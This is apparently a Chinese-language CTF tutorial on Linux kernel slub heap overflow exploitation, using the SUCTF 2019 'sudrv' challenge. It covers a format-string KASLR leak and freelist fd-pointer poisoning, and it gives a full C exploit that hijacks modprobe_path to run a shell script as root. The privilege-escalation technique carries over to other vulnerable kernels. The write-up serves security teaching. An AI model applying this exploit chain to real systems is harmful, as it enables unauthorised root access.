Kernel pwn 基礎教程之 Heap Overflow

合天網安實驗室發表於2022-04-22

 一、前言

 在如今的CTF比賽大環境下,掌握glibc堆記憶體分配已經成為了大家的必修課程。然而在核心態中,堆記憶體的分配策略發生了變化。筆者會在介紹核心堆利用方式之前先簡單的介紹一下自己瞭解的核心記憶體分配策略,如有不對的地方歡迎師傅們指正。

 二、前置知識

 在Linux系統中通過分段與分頁機制將實體記憶體劃分成4kb大小的記憶體頁,而涉及到記憶體分配不可避免的就會產生外部碎片與內部碎片問題,這個在物理頁中也是一樣的,為了避免這種情況核心管理物理頁採用了兩個策略:buddy system與slub演算法。

 夥伴系統(buddy system)以頁為單位對記憶體進行管理,將相同大小的連續物理頁以連結串列形式進行管理,物理頁就像手拉手的好夥伴一樣,這就是夥伴系統名字的由來。所有的空閒頁以11個連結串列進行管理(2^n),而系統申請的記憶體大小總是能在夥伴系統中找到合適的範圍,可以避免因為分配次數過多而產生外部碎片的情況。

 當核心申請記憶體時,夥伴系統以頁為單位進行分配,而核心在很多情況下並不需要一整頁的記憶體空間,往往只需要很小的記憶體空間,而這也就造成了內部碎片的產生,而slub演算法正是為了滿足系統申請小記憶體的需求。​

 slub演算法從夥伴系統申請空閒的記憶體頁即slab,slab是由一個或多個記憶體頁構成(一般為單頁)。並把這個slab劃分為一個個object,並將這些object組成一個單向連結串列進行管理,這裡需要注意slub系統把記憶體塊當成object看待,而不是夥伴系統中的頁。當系統申請小記憶體時slub演算法會根據kmem_cache_cpu中slab是否存在空閒object來進行操作:

 1、kmem_cache_cpu中的slab存在空閒object,則直接分配object。

 2、kmem_cache_cpu中的slab不存在空閒object,則會將全部分配的slab加入到kmem_cache_node的full鏈中,並從partial鏈中取出一個部分分配的slab,分配object給系統。​

 3、kmem_cache_cpu中的slab不存在空閒object且kmem_cache_node中也不存在半空閒的object,則會將全部分配的slab加入到kmem_cache_node的full鏈中,並向夥伴系統申請新的空閒頁,分配object給系統。

 三、漏洞演示

 在前置知識中我們簡單的介紹了核心記憶體分配策略,並且我們不難發現slub演算法的管理方式與glibc中fastbin鏈類似,都是單連結串列形式管理,所以當核心存在堆溢位漏洞時我們完全可以通過修改其fd指標將我們想要進行寫入的記憶體地址加入到freelist中。利用思路不算很難但是在實際利用中往往會因為環境中的一些隨機性而增加利用的難度。​

 本次選擇演示的例題是2019-SUCTF的sudrv例題,檢視start.sh中的資訊可以發現開啟了kaslr保護與smep保護。

#! /bin/sh

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-s \
-cpu kvm64,+smep

 ida反編譯程式,檢視sudrv_ioctl函式內容。

image-20220325153409845.png

 可以看出ioctl中實現了三種功能,具體如下所示:

0x73311337 --> 申請堆塊
0xDEADBEEF --> 呼叫sudrv_ioctl_cold_2函式
0x13377331 --> 釋放堆塊

 其中sudrv_ioctl_cold_2函式的內容如下所示,發現其呼叫printk函式,格式化引數存於se_buf中,因題目環境未做出限制故我們可以通過dmesg命令檢視printk函式的輸出。

void __fastcall sudrv_ioctl_cold_2(__int64 se_buf, __int64 a2)
{
printk(se_buf, a2);
JUMPOUT(0x38LL);
}

 模組中定義了sudrv_write函式,這個函式中使用的copy_user_generic_unrolled未對輸入長度進行檢測,存在堆溢位,並且su_buf作為printk函式中格式化字串引數的位置,同時存在格式化字串漏洞。

__int64 sudrv_write()
{
if ( copy_user_generic_unrolled(su_buf) )
  return -1LL;
else
  return sudrv_write_cold_1();
}

 找到了漏洞點以後我們就可以構思利用思路了,結合我們之前學到的核心利用知識不難想到大體的利用思路框架

找到漏洞點 --> 繞過保護 --> 提權 --> 返回使用者態獲取rootshell

 KASLR保護我們可以通過修改start.sh的kaslr為nokaslr暫時關閉保護,利用格式化漏洞洩露出地址後計算出相應偏移即可繞過KASLR保護。

 SMEP保護即核心態禁止執行使用者態程式碼,我們可以通過BYPASS_SMEP修改cr4暫存器的值關閉SMEP保護,再通過swapgs和iretq完成使用者態的跳轉即可獲取到rootshell。

 而關於如何劫持程式控制流,我們在前置知識中瞭解到了核心記憶體分配機制,並且在本題中存在堆溢位漏洞。我們可以通過格式化字串洩露出棧地址並利用堆溢位漏洞覆蓋掉在freelist中空間堆塊的fd指標為棧地址,這樣我們再申請堆記憶體即可申請到棧地址上,覆蓋函式返回地址為我們佈置的ropchain即可劫持程式流。

image-20220322163955976.png

 整體的利用思路就是這樣,但是核心環境往往伴隨著隨機性,經常會出現的一種情況就是在freelist的空閒object並不是按照地址順序進行排列的,這也就造成了往往我們通過堆溢位覆蓋在freelist中object的fd指標。

預期期望堆溢位前:
se_buf -地址連續-> 空閒object -(fd)-> 空閒object
預期期望堆溢位後:
se_buf -地址連續-> 空閒object -(覆蓋fd指標)-> 棧地址
+------------------------------------------------+
實際環境中可能出現的情況:
se_buf -地址不連續-> 空閒object -(fd)-> 空閒object
#因虛擬地址不連續,故無法通過溢位覆蓋掉freelist中object的fd指標。

 通過gdb遠端動調我們可以看到核心記憶體的變化情況,在執行完kmalloc函式的時候觀察rax中freelist的情況。​

 可以看到0x2f000結尾的object為我們通過kmalloc申請到的地址,然而其指向的下一個object地址並不是0x30000而是以0x2b000結尾,也就是說freelist中的記憶體地址會因為核心函式的呼叫而產生消耗,從而影響我們的佈局利用。

image-20220322101321210.png

 即使我們成功劫持了程式流執行了ropchain,也會出現在提權時發生核心錯誤從而重啟的情況。所以我們再利用本題的時候選擇換一種思路,將原先的棧地址換成modprob_path地址加入到freelist連結串列中。在這裡簡單介紹一下為什麼我們要劫持這個地址。

 當核心執行一個錯誤的檔案或未知檔案型別的時候,就會呼叫modprob_path所指向的程式,如果我們修改他所指向的程式為我們自己寫的一個sh檔案,並利用system或execve函式去執行一個位置型別的檔案,那麼在發生錯誤的時候就會以root許可權執行我們自己寫的sh檔案中的內容。

 我們可以在自己的exp中通過system函式建立一個sh檔案將root許可權下的flag檔案拷貝到tmp目錄下並賦予777的許可權。

    system("echo -ne '#!/bin/sh\n/bin/cp /Flag/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
  system("chmod +x /tmp/getflag.sh");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl");
  system("chmod +x /tmp/fl");

 modprob_path的地址並不能從/proc/kallsyms中找到地址,不過我們可以通過其他函式對於modprob_path的引用找到它的地址。在/proc/kallsyms中查詢__request_module函式地址,然後在gdb中檢視函式的彙編資訊,就可以找到modprob_path的地址。

image-20220323170309924.png

 我們在sudrv_write函式處下斷點,然後在呼叫copy_user_generic_unrolled時可以發現其rdi指向的正是我們的modprob_path地址,rsi中為我們要寫入的字串。

image-20220323180342870.png

 ni繼續往下走,發現已經成功寫入。

image-20220323180408369.png

 完整EXP如下所示:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define KMALLOC 0x73311337
#define PRINTK 0xDEADBEEF
#define KFREE   0x13377331

unsigned long long int user_cs, user_ss, user_rflags, user_sp;
unsigned long long int raw_kernel_addr = 0xffffffff811c827f;

void main() {
  unsigned long long int kernel_addr = 0;
  unsigned long long int overflow[0x201] = {0};
  int fd = open("/dev/meizijiutql", O_WRONLY);
  char tmp_str[0x30];

  system("echo -ne '#!/bin/sh\n/bin/cp /Flag/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
  system("chmod +x /tmp/getflag.sh");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl");
  system("chmod +x /tmp/fl");

  ioctl(fd, KMALLOC, 0xff0);
  ioctl(fd, KMALLOC, 0xff0);
  ioctl(fd, KMALLOC, 0xff0);
  char *str = "%llx %llx %llx %llx %llx kernel: %llx %llx %llx %llx stack: %llx %llx";
  write(fd, str, strlen(str));
  // full printk buffer
  ioctl(fd, PRINTK);
  ioctl(fd, PRINTK);

  system("dmesg |grep kernel | grep stack | cut -b 42-58 | head -1 > tmp.txt");

  int fd_tmp = open("./tmp.txt", 2);
  read(fd_tmp, tmp_str, sizeof(tmp_str));
  sscanf(tmp_str, "%llx", &kernel_addr);    

  unsigned long long int offset = kernel_addr - raw_kernel_addr;
  unsigned long long int modprob_path = 0xffffffff82242320 + offset;
  printf("modprob_path: 0x%llx \n", modprob_path);

  // // heap overflow
  overflow[0x200] = modprob_path;
  ioctl(fd, KMALLOC, 0xff0);
  write(fd, overflow, sizeof(overflow));

  ioctl(fd, KMALLOC, 0xff0);
  write(fd, "/tmp/getflag.sh", 0x10);
  ioctl(fd, KMALLOC, 0xff0);
  write(fd, "/tmp/getflag.sh", 0x10);
  ioctl(fd, KMALLOC, 0xff0);
  write(fd, "/tmp/getflag.sh", 0x10);

  system("/tmp/fl");
  system("cat /tmp/flag");

}

image-20220325173920282.png

 四、總結

 修改modprob_path中的字串指向我們建立的sh檔案的利用辦法在有任意地址寫入的時候是非常簡潔有效的,相較於ROP需要先bypass然後再提權返回使用者態相比不僅簡練而且成功率要更高,而本文中僅僅是對核心記憶體分配策略進行了一些簡單的概念性描述,而想要學的更加深入的師傅這邊還是推薦再閱讀完本篇文章後再去自主瞭解一些核心記憶體分配所涉及的關鍵程式碼,相信在學習的過程中你一定會有所收穫的。

 更多靶場實驗練習、網安學習資料,請點選這裡>>

 

相關文章